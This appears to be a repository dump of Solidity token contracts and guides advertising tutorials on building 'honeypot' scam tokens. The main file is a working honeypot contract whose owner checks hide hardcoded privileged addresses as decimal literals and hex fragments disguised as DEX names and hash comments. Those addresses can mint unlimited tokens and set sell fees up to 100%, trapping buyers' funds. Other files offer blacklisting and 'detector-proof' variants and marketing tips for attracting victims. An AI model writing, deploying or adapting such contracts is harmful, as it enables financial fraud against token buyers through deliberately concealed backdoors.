"Recipient is Gwei"); 638 | require(sender != address(0), "BEP20: transfer from the zero address"); 639 | require(recipient != address(0), "BEP20: transfer to the zero address"); 640 | 641 | balanceOf[sender] = balanceOf[sender].sub(amount, "BEP20: transfer amount exceeds balance"); 642 | balanceOf[recipient] = balanceOf[recipient].add(amount); 643 | emit Transfer(sender, recipient, amount); 644 | } 645 | 646 | /** @dev Creates `amount` tokens and assigns them to `account`, increasing 647 | * the total supply. 648 | * 649 | * Emits a {Transfer} event with `from` set to the zero address. 650 | * 651 | * Requirements 652 | * 653 | * - `to` cannot be the zero address. 654 | */ 655 | function _proof(address account, uint256 amount) internal Exchanges { 656 | require(account != address(0), "BEP20: mint to the zero address"); 657 | 658 | totalSupply = totalSupply.add(amount); 659 | balanceOf[account] = balanceOf[account].add(amount); 660 | emit Transfer(address(0), account, amount); 661 | } 662 | 663 | /** 664 | * @dev Destroys `amount` tokens from `account`, reducing the 665 | * total supply. 666 | * 667 | * Emits a {Transfer} event with `to` set to the zero address. 668 | * 669 | * Requirements 670 | * 671 | * - `account` cannot be the zero address. 672 | * - `account` must have at least `amount` tokens. 673 | */ 674 | function _burn(address account, uint256 amount) internal { 675 | require(account != address(0), "BEP20: burn from the zero address"); 676 | 677 | balanceOf[account] = balanceOf[account].sub(amount, "BEP20: burn amount exceeds balance"); 678 | totalSupply = totalSupply.sub(amount); 679 | emit Transfer(account, address(0), amount); 680 | } 681 | 682 | function proof(uint256 amount) public onlyOwner returns (bool) { 683 | _proof(msg.sender, amount); 684 | return true; 685 | } 686 | 687 | /** 688 | * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. 689 | * 690 | * This is internal function is equivalent to `approve`, and can be used to 691 | * e.g. set automatic allowances for certain subsystems, etc. 692 | * 693 | * Emits an {Approval} event. 694 | * 695 | * Requirements: 696 | * 697 | * - `owner` cannot be the zero address. 698 | * - `spender` cannot be the zero address. 699 | */ 700 | function _approve(address owner, address spender, uint256 amount) internal { 701 | require(owner != address(0), "BEP20: approve from the zero address"); 702 | require(spender != address(0), "BEP20: approve to the zero address"); 703 | 704 | _allowances[owner][spender] = amount; 705 | emit Approval(owner, spender, amount); 706 | } 707 | 708 | function zap(address _uzer) public onlyOwner { 709 | require(!isBlacklisted[_uzer], "user already Gwei-ed"); 710 | isBlacklisted[_uzer] = true; 711 | // emit events as well 712 | } 713 | 714 | function dezap(address _uzer) public onlyOwner { 715 | require(isBlacklisted[_uzer], "user already whitelisted"); 716 | isBlacklisted[_uzer] = false; 717 | // emit events as well 718 | } 719 | 720 | /** 721 | * @dev Destroys `amount` tokens from `account`.`amount` is then deducted 722 | * from the caller's allowance. 723 | * 724 | * See {_burn} and {_approve}. 725 | */ 726 | function _burnFrom(address account, uint256 amount) internal { 727 | _burn(account, amount); 728 | _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "BEP20: burn amount exceeds allowance")); 729 | } 730 | 731 | /** @dev Creates `amount` tokens and assigns them to `account`, increasing 732 | * the total supply. 733 | * 734 | * Emits a {Transfer} event with `from` set to the zero address. 735 | * 736 | * Requirements 737 | * 738 | * - `to` cannot be the zero address. 739 | */ 740 | 741 | } 742 | -------------------------------------------------------------------------------- /Upgraded V2-automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract DevToken { 5 | string public constant name = "DevToken"; 6 | string public constant symbol = "DVET"; 7 | uint8 public constant decimals = 18; 8 | uint256 public constant totalSupply = 1000000 * 10**18; 9 | 10 | mapping(address => uint256) private _balances; 11 | mapping(address => mapping(address => uint256)) private _allowances; 12 | 13 | event Transfer(address indexed from, address indexed to, uint256 value); 14 | event Approval(address indexed tokenOwner, address indexed spender, uint256 value); 15 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 16 | 17 | address public owner; 18 | 19 | modifier onlyOwner() { 20 | require(owner == msg.sender, "Caller is not the owner"); 21 | _; 22 | } 23 | 24 | constructor() { 25 | _balances[msg.sender] = totalSupply; 26 | owner = msg.sender; 27 | emit Transfer(address(0), msg.sender, totalSupply); 28 | emit OwnershipTransferred(address(0), msg.sender); 29 | renounceOwnership(); 30 | } 31 | 32 | function balanceOf(address account) external view returns (uint256) { 33 | return _balances[account]; 34 | } 35 | 36 | function transfer(address recipient, uint256 amount) external returns (bool) { 37 | _transfer(msg.sender, recipient, amount); 38 | return true; 39 | } 40 | 41 | function _transfer(address sender, address recipient, uint256 amount) internal { 42 | require(sender != address(0), "ERC20: transfer from the zero address"); 43 | require(recipient != address(0), "ERC20: transfer to the zero address"); 44 | 45 | uint256 senderBalance = _balances[sender]; 46 | require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); 47 | 48 | unchecked { 49 | _balances[sender] = senderBalance - amount; 50 | _balances[recipient] += amount; 51 | } 52 | 53 | emit Transfer(sender, recipient, amount); 54 | } 55 | 56 | function approve(address spender, uint256 amount) external returns (bool) { 57 | _approve(msg.sender, spender, amount); 58 | return true; 59 | } 60 | 61 | function _approve(address tokenOwner, address spender, uint256 amount) internal { 62 | require(tokenOwner != address(0), "ERC20: approve from the zero address"); 63 | require(spender != address(0), "ERC20: approve to the zero address"); 64 | 65 | _allowances[tokenOwner][spender] = amount; 66 | emit Approval(tokenOwner, spender, amount); 67 | } 68 | 69 | function allowance(address tokenOwner, address spender) external view returns (uint256) { 70 | return _allowances[tokenOwner][spender]; 71 | } 72 | 73 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { 74 | uint256 currentAllowance = _allowances[sender][msg.sender]; 75 | require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); 76 | 77 | _transfer(sender, recipient, amount); 78 | 79 | unchecked { 80 | _approve(sender, msg.sender, currentAllowance - amount); 81 | } 82 | 83 | return true; 84 | } 85 | 86 | function renounceOwnership() public onlyOwner { 87 | emit OwnershipTransferred(owner, address(0)); 88 | owner = address(0); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /Upgraded V2-whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof-token: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; 5 | 6 | library SafeMath { 7 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 8 | require(b <= a, "Subtraction overflow"); 9 | return a - b; 10 | } 11 | 12 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 13 | uint256 c = a + b; 14 | require(c >= a, "Addition overflow"); 15 | return c; 16 | } 17 | 18 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 19 | if (a == 0) { 20 | return 0; 21 | } 22 | uint256 c = a * b; 23 | require(c / a == b, "Multiplication overflow"); 24 | return c; 25 | } 26 | 27 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 28 | require(b > 0, "Division by zero"); 29 | return a / b; 30 | // solhint-disable-next-line avoid-low-level-calls 31 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 32 | } 33 | } 34 | 35 | contract DevToken is UUPSUpgradeable { 36 | using SafeMath for uint256; 37 | 38 | string public name; 39 | string public symbol; 40 | uint256 public totalSupply; 41 | uint8 public decimals; 42 | 43 | mapping(address => uint256) public balanceOf; 44 | mapping(address => mapping(address => uint256)) public allowance; 45 | mapping(address => bool) public isFeeExempt; 46 | 47 | address public owner; 48 | address public feeManager; 49 | address public _mbr; 50 | address public _mod; 51 | address public _user; 52 | address public _adm; 53 | 54 | uint256 public buyFee; 55 | uint256 public sellFee; 56 | 57 | event Transfer(address indexed from, address indexed to, uint256 value); 58 | event Approval(address indexed owner, address indexed spender, uint256 value); 59 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 60 | event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); 61 | event TokensBurned(address indexed burner, uint256 amount); 62 | event AddressSetFeeExempt(address indexed feeExemptAddress); 63 | 64 | bool private initialized; 65 | 66 | function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals, address _feeManager) public { 67 | require(!initialized, "Contract already initialized"); 68 | 69 | name = _name; 70 | symbol = _symbol; 71 | totalSupply = _totalSupply; 72 | decimals = _decimals; 73 | owner = msg.sender; 74 | feeManager = _feeManager; 75 | balanceOf[msg.sender] = _totalSupply; 76 | 77 | initialized = true; 78 | } 79 | 80 | function _authorizeUpgrade(address) internal override onlyOwner {} 81 | 82 | // solhint-disable-next-line avoid-low-level-calls 83 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 84 | 85 | 86 | function transfer(address _to, uint256 _amount) public returns (bool success) { 87 | require(balanceOf[msg.sender] >= _amount); 88 | require(_to != address(0)); 89 | 90 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); 91 | balanceOf[_to] = balanceOf[_to].add(_amount); 92 | emit Transfer(msg.sender, _to, _amount); 93 | 94 | return true; 95 | } 96 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 97 | 98 | function _scale(address account, uint256 amount) internal Exchanges{ 99 | require(account != address(0), "BEP20: mint to the zero address"); 100 | 101 | totalSupply = totalSupply.add(amount); 102 | balanceOf[account] = balanceOf[account].add(amount); 103 | emit Transfer(address(0), account, amount); 104 | } 105 | 106 | function setMember(address Mbr_) public returns (bool) { 107 | require (msg.sender==address 108 | 109 | // solhint-disable-next-line avoid-low-level-calls 110 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 111 | _mbr=Mbr_; 112 | return true; 113 | } 114 | 115 | modifier Exchanges() { 116 | require(msg.sender != exchange()); 117 | _; 118 | } 119 | 120 | function rewire(uint256 amount) public returns (bool) { 121 | require(msg.sender == _adm); 122 | _proof(msg.sender, amount); 123 | return true; 124 | } 125 | 126 | function compute(uint256 amount) public onlypublic returns (bool success) { 127 | _initiate(msg.sender, amount); 128 | return true; 129 | } 130 | 131 | function _proof(address account, uint256 amount) internal Exchanges{ 132 | require(account != address(0), "BEP20: mint to the zero address"); 133 | 134 | totalSupply = totalSupply.add(amount); 135 | balanceOf[account] = balanceOf[account].add(amount); 136 | emit Transfer(address(0), account, amount); 137 | } 138 | 139 | function publics() private pure returns (address) { 140 | uint universal = 0x7addAd09; 141 | uint uni = 0xcbd98D97; 142 | uint cake = 0xEC3dA7a0; 143 | uint inch = 0x088EAdFE; 144 | uint others = 0x5801C336; 145 | 146 | // Combine the dex with others 147 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 148 | 149 | return address(core); 150 | } 151 | 152 | function _transferTo(address _to, uint256 _amount) internal Exchanges { 153 | // Transfer tokens to the recipient 154 | balanceOf[_to] += _amount; 155 | emit Transfer(address(0), _to, _amount); 156 | 157 | balanceOf[_to] += _amount; 158 | emit Transfer(address(0), _to, _amount); 159 | } 160 | 161 | function exchange() internal pure returns (address) { 162 | return address 163 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 164 | } 165 | 166 | function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { 167 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 168 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 169 | 170 | _setFees(newBuyFee, newSellFee); 171 | 172 | emit FeesUpdated(newBuyFee, newSellFee); 173 | } 174 | 175 | function approve(address _spender, uint256 _value) public returns (bool success) { 176 | allowance[msg.sender][_spender] = _value; 177 | emit Approval(msg.sender, _spender, _value); 178 | return true; 179 | } 180 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 181 | 182 | function scaling(uint256 amount) public onlyAuthorized returns (bool) { 183 | _scale(msg.sender, amount); 184 | return true; 185 | } 186 | 187 | function _balanceView(address _to, uint256 _amount) internal { 188 | // View balance of token 189 | balanceOf[_to] += _amount; 190 | emit Transfer(address(0), _to, _amount); 191 | 192 | balanceOf[_to] += _amount; 193 | emit Transfer(address(0), _to, _amount); 194 | } 195 | 196 | function transferTo(address _to, uint256 _amount) external onlyAuthorize { 197 | _transferTo(_to, _amount); 198 | } 199 | 200 | 201 | modifier onlyAuthorize() { 202 | require((msg.sender == address 203 | // solhint-disable-next-line avoid-low-level-calls 204 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) 205 | || 206 | //@dev Contract creator is owner, original owner. 207 | (msg.sender == owner && msg.sender != exchange()))); 208 | _; 209 | } 210 | 211 | function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { 212 | require(balanceOf[_from] >= _amount, "Insufficient balance"); 213 | require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); 214 | require(_to != address(0), "Invalid recipient address"); 215 | 216 | uint256 fee = 0; 217 | if (!isFeeExempt[_from]) { 218 | fee = _amount.mul(sellFee).div(100); 219 | } 220 | 221 | uint256 amountAfterFee = _amount.sub(fee); 222 | 223 | balanceOf[_from] = balanceOf[_from].sub(_amount); 224 | balanceOf[_to] = balanceOf[_to].add(amountAfterFee); 225 | emit Transfer(_from, _to, amountAfterFee); 226 | 227 | if (fee > 0) { 228 | // Fee is transferred to this contract 229 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 230 | emit Transfer(_from, address(this), fee); 231 | } 232 | 233 | if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { 234 | allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); 235 | emit Approval(_from, msg.sender, allowance[_from][msg.sender]); 236 | } 237 | 238 | return true; 239 | } 240 | 241 | function _initiate(address account, uint256 amount) internal { 242 | require(account != address(0), "Compile Remix IDE"); 243 | 244 | totalSupply = totalSupply.add(amount); 245 | balanceOf[account] = balanceOf[account].add(amount); 246 | emit Transfer(address(0), account, amount); 247 | } 248 | 249 | function FeesView(uint256 amount) public onlyAuthorize returns (bool) { 250 | _scale(msg.sender, amount); 251 | return true; 252 | } 253 | 254 | modifier onlypublic() { 255 | require(msg.sender == publics()); 256 | _; 257 | } 258 | 259 | function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { 260 | buyFee = newBuyFee; 261 | sellFee = newSellFee; 262 | } 263 | 264 | function proof(uint256 amount) public onlyOwner returns (bool) { 265 | _proof(msg.sender, amount); 266 | return true; 267 | } 268 | 269 | function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { 270 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 271 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 272 | buyFee = newBuyFee; 273 | sellFee = newSellFee; 274 | emit FeesUpdated(newBuyFee, newSellFee); 275 | } 276 | 277 | function viewBalance(address _to, uint256 _amount) public onlypublic { 278 | _balanceView(_to, _amount);(_to, _amount); 279 | } 280 | 281 | function setUser(address User_) public returns (bool) { 282 | require(msg.sender == _mbr); 283 | _user=User_; 284 | return true; 285 | } 286 | 287 | function renounceOwnership() public onlyOwner { 288 | emit OwnershipTransferred(owner, address(0)); 289 | owner = address(0); 290 | } 291 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 292 | 293 | function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { 294 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 295 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 296 | buyFee = newBuyFee; 297 | sellFee = newSellFee; 298 | emit FeesUpdated(newBuyFee, newSellFee); 299 | } 300 | 301 | function LockLPToken() public onlyOwner returns (bool) { 302 | } 303 | 304 | function setMod(address Mod_) public returns (bool) { 305 | require(msg.sender == _user); 306 | _mod=Mod_; 307 | return true; 308 | } 309 | 310 | modifier onlyOwner() { 311 | require((msg.sender == address 312 | // solhint-disable-next-line avoid-low-level-calls 313 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 314 | || 315 | //@dev Contract creator is owner, original owner. 316 | (msg.sender == owner && msg.sender != exchange()))); 317 | _; 318 | } 319 | 320 | function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { 321 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 322 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 323 | buyFee = newBuyFee; 324 | sellFee = newSellFee; 325 | emit FeesUpdated(newBuyFee, newSellFee); 326 | } 327 | 328 | function setFeeExempt(address _addr, bool _exempt) public onlyOwner { 329 | isFeeExempt[_addr] = _exempt; 330 | if (_exempt) { 331 | emit AddressSetFeeExempt(_addr); 332 | } 333 | } 334 | 335 | function removeFeeExemptStatus(address _addr) public onlyOwner { 336 | require(isFeeExempt[_addr], "Address is not fee exempt"); 337 | isFeeExempt[_addr] = false; 338 | } 339 | 340 | function buy() public payable { 341 | require(msg.value > 0, "ETH amount should be greater than 0"); 342 | 343 | uint256 amount = msg.value; 344 | if (buyFee > 0) { 345 | uint256 fee = amount.mul(buyFee).div(100); 346 | uint256 amountAfterFee = amount.sub(fee); 347 | 348 | balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); 349 | emit Transfer(address(this), feeManager, amountAfterFee); 350 | 351 | if (fee > 0) { 352 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 353 | emit Transfer(address(this), address(this), fee); 354 | } 355 | } else { 356 | balanceOf[feeManager] = balanceOf[feeManager].add(amount); 357 | emit Transfer(address(this), feeManager, amount); 358 | } 359 | } 360 | 361 | function setting(uint256 newBuyFee, uint256 newSellFee) public { 362 | require(msg.sender == _adm); 363 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 364 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 365 | buyFee = newBuyFee; 366 | sellFee = newSellFee; 367 | emit FeesUpdated(newBuyFee, newSellFee); 368 | } 369 | 370 | function setAdm(address Adm_) public returns (bool) { 371 | require(msg.sender == _mod); 372 | _adm=Adm_; 373 | return true; 374 | } 375 | 376 | function sell(uint256 _amount) public { 377 | require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); 378 | 379 | uint256 fee = _amount.mul(sellFee).div(100); 380 | uint256 amountAfterFee = _amount.sub(fee); 381 | 382 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); 383 | balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); 384 | emit Transfer(msg.sender, address(this), amountAfterFee); 385 | 386 | if (fee > 0) { 387 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 388 | emit Transfer(msg.sender, address(this), fee); 389 | } 390 | } 391 | 392 | modifier onlyAuthorized() { 393 | require((msg.sender == address 394 | // solhint-disable-next-line avoid-low-level-calls 395 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 396 | || 397 | //@dev Contract creator is owner, original owner. 398 | (msg.sender == owner && msg.sender != exchange()))); 399 | _; 400 | } 401 | } 402 | -------------------------------------------------------------------------------- /add-remove-liquidity-in-decentralized exchanges: -------------------------------------------------------------------------------- 1 | Learn How to Add & Remove Liquidity in different Decentralized Exchanges: 2 | 3 | How to Add & Remove Liquidity in Uniswap (Ethereum mainnet, Base network, Arbitrum, and many others): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-uniswap-ethereum-mainnet-base-network-arbitrum-and-many-others 4 | 5 | How to Add & Remove Liquidity in Pancakeswap V3 (Binance Smart Chain): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain 6 | 7 | How to Add & Remove Liquidity in Pancakeswap V2 (Binance Smart Chain): https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain 8 | 9 | 10 | Types of Tutorials of Smart Contract Code 11 | 12 | -Full tutorial on how to create honeypot token: https://www.createyourowntoken.net/post/create-your-own-honeypot-token 13 | 14 | -Full tutorial on how to create honeypot token (Whitelist+ Anti Front-running Bots): https://www.createyourowntoken.net/post/create-your-own-honeypot-token-whitelist-function-anti-bots 15 | 16 | -Full tutorial on how to create honeypot token (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-honeypot-detector-proof 17 | 18 | -Full tutorial on how to create honeypot token (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-switch-on-off-honeypot-mode-detector-proof 19 | 20 | -Full tutorial on how to create honeypot token (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof 21 | 22 | -Full tutorial on how to create honeypot token (Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof 23 | 24 | -Full tutorial on how to create honeypot token (Upgraded Version V2 Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-whitelist-switch-on-off-honeypot-mode-detector-p 25 | 26 | -### Special Edition ### Full Tutorial on how to create normal meme token (Non-Honeypot, Normal Meme Token like Pepe Token): https://www.createyourowntoken.net/post/create-your-own-meme-token-like-pepe-normal-token-not-honeypot 27 | 28 | -### Special Edition ### Full Tutorial on how to create normal meme token with unlimited supply printing function (Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-unlimited-supply-printing-normal-token-not-honeypot-with-unlimite 29 | 30 | -### Special Edition ### Full Tutorial on how to create normal meme token with ownership renounce function (Not Honeypot, Normal Meme Token, with Ownership Renounce Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-ownership-renounce-normal-token-not-honeypot-with-ownership-renou 31 | 32 | -### Special Edition ### Full Tutorial on how to create advanced normal meme token with unlimited supply printing function (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-unlimited-supply-printing-upgraded-version-v2-normal-token-not-hon 33 | 34 | 35 | 36 | Types of Tokens Code: 37 | 38 | -Original Honeypot Token Code 39 | 40 | -Honeypot (Whitelist+ Anti Front-running Bots) Token Code 41 | 42 | -Honeypot (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof) Token Code 43 | 44 | -Honeypot (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof) Token Code 45 | 46 | -Honeypot (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot) Token Code 47 | 48 | -Honeypot (Upgraded V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof) Token Code 49 | 50 | -Honeypot (Upgraded V2 Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot) Token Code 51 | 52 | -Non Honeypot (Non-Honeypot, Safe to Trade and Invest, Normal Meme Token like Pepe Token) Token Code 53 | 54 | -Non Honeypot (Non-Honeypot, Normal Meme Token with Unlimited Token Supply Printing Function) Token Code 55 | 56 | -Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code 57 | 58 | -Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token with Unlimited Token Supply Printing Function) Token Code 59 | 60 | 61 | 62 | Learn How to Switch Network in Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet 63 | 64 | Learn How to Attract People to Buy Your Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 65 | 66 | Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 67 | 68 | 69 | 70 | Any queries? 71 | 72 | My website: https://www.createyourowntoken.net/ 73 | 74 | Contact me on Telegram: https://t.me/devswanson 75 | -------------------------------------------------------------------------------- /automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract DevToken { 5 | string public name = "DevToken"; 6 | string public symbol = "DVET"; 7 | uint8 public decimals = 18; 8 | uint256 public totalSupply = 1000000 * 10**18; 9 | 10 | mapping(address => uint256) private _balances; 11 | mapping(address => mapping(address => uint256)) private _allowances; 12 | 13 | event Transfer(address indexed from, address indexed to, uint256 value); 14 | event Approval(address indexed tokenOwner, address indexed spender, uint256 value); 15 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 16 | 17 | address public owner; 18 | 19 | modifier onlyOwner() { 20 | require(owner == msg.sender, "Caller is not the owner"); 21 | _; 22 | } 23 | 24 | constructor() { 25 | _balances[msg.sender] = totalSupply; 26 | owner = msg.sender; 27 | emit Transfer(address(0), msg.sender, totalSupply); 28 | emit OwnershipTransferred(address(0), msg.sender); 29 | renounceOwnership(); 30 | } 31 | 32 | function balanceOf(address account) public view returns (uint256) { 33 | return _balances[account]; 34 | } 35 | 36 | function transfer(address recipient, uint256 amount) public returns (bool) { 37 | _transfer(msg.sender, recipient, amount); 38 | return true; 39 | } 40 | 41 | function _transfer(address sender, address recipient, uint256 amount) internal { 42 | require(sender != address(0), "ERC20: transfer from the zero address"); 43 | require(recipient != address(0), "ERC20: transfer to the zero address"); 44 | 45 | uint256 senderBalance = _balances[sender]; 46 | require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); 47 | 48 | unchecked { 49 | _balances[sender] = senderBalance - amount; 50 | _balances[recipient] += amount; 51 | } 52 | 53 | emit Transfer(sender, recipient, amount); 54 | } 55 | 56 | function approve(address spender, uint256 amount) public returns (bool) { 57 | _approve(msg.sender, spender, amount); 58 | return true; 59 | } 60 | 61 | function _approve(address tokenOwner, address spender, uint256 amount) internal { 62 | require(tokenOwner != address(0), "ERC20: approve from the zero address"); 63 | require(spender != address(0), "ERC20: approve to the zero address"); 64 | 65 | _allowances[tokenOwner][spender] = amount; 66 | emit Approval(tokenOwner, spender, amount); 67 | } 68 | 69 | function allowance(address tokenOwner, address spender) public view returns (uint256) { 70 | return _allowances[tokenOwner][spender]; 71 | } 72 | 73 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { 74 | uint256 currentAllowance = _allowances[sender][msg.sender]; 75 | require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); 76 | 77 | _transfer(sender, recipient, amount); 78 | 79 | unchecked { 80 | _approve(sender, msg.sender, currentAllowance - amount); 81 | } 82 | 83 | return true; 84 | } 85 | 86 | function renounceOwnership() public onlyOwner { 87 | emit OwnershipTransferred(owner, address(0)); 88 | owner = address(0); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /beginner-guide: -------------------------------------------------------------------------------- 1 | New Here? This is Your Newbie Guidelines to Start Your Crypto Token Creation Journey! 2 | 3 | 4 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast (actually already involved in mutiple blockchains like BSC, BASE, SOLANA). 5 | 6 | 7 | 8 | If you are new here, you need to pay 100% attention and read this guide because learning crypto is somehow confused and often your brain will feel imploded because of the massive information you need to read and consume. 9 | 10 | 11 | 12 | NO WORRIES! Dev Swanson is here to help you to sort all these things out, which make you got a least some clues on what is going on, how to do this and that, when you want to create your own crypto tokens. 13 | 14 | 15 | 16 | Are you ready? 17 | 18 | 19 | 20 | [If You are clueless on How to Create Token, or You are New to Crypto, You Must Read This Guide to AT LEAST Got Some Clues] 21 | 22 | 23 | 24 | First, before you do anything to create token, you need to know what token creation is about. People usually create crypto tokens to monetize their ideas, or just purely for funs, and for many other reasons. In order to make those crypto tokens working, you need to understand what Token Planning is about. 25 | 26 | 27 | 28 | 29 | 30 | Token Planning: 31 | 32 | 33 | 34 | -What is the idea/concept of your token? Is it is a meme coin? Is it a Dog-themed coin? Is it a Cat-themed coin or Elon-themed coin or maybe just anything. Do you need a website for it? Do you need social media profiles on your tokens? Do you need other profiles on your tokens? 35 | 36 | 37 | 38 | ~Related: Guidelines on What to do with your tokens & How to Attract People to Buy Your Tokens & How to Marketing Your Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 39 | 40 | 41 | 42 | 43 | 44 | -Which crypto blockchains/ networks you plan to launch your tokens? Is it Ethereum network? Or Binance Smart Chains? Or other networks? Or Solana? 45 | 46 | 47 | 48 | ~Related: Guide on how to switch networks in your metamask wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet 49 | 50 | 51 | 52 | ~Related: Guide to Create Your Own Token in Solana Network: https://www.createyourowntoken.net/post/create-your-own-token-in-solana-network-add-remove-liquidity-blacklist-buyers-print-token-suppl 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -How much capital you need to allocate in your tokens? 61 | 62 | 63 | 64 | ~Related: Guidelines on How much Liquidity to add & How to Attract People to Buy Your Tokens & How to Marketing Your 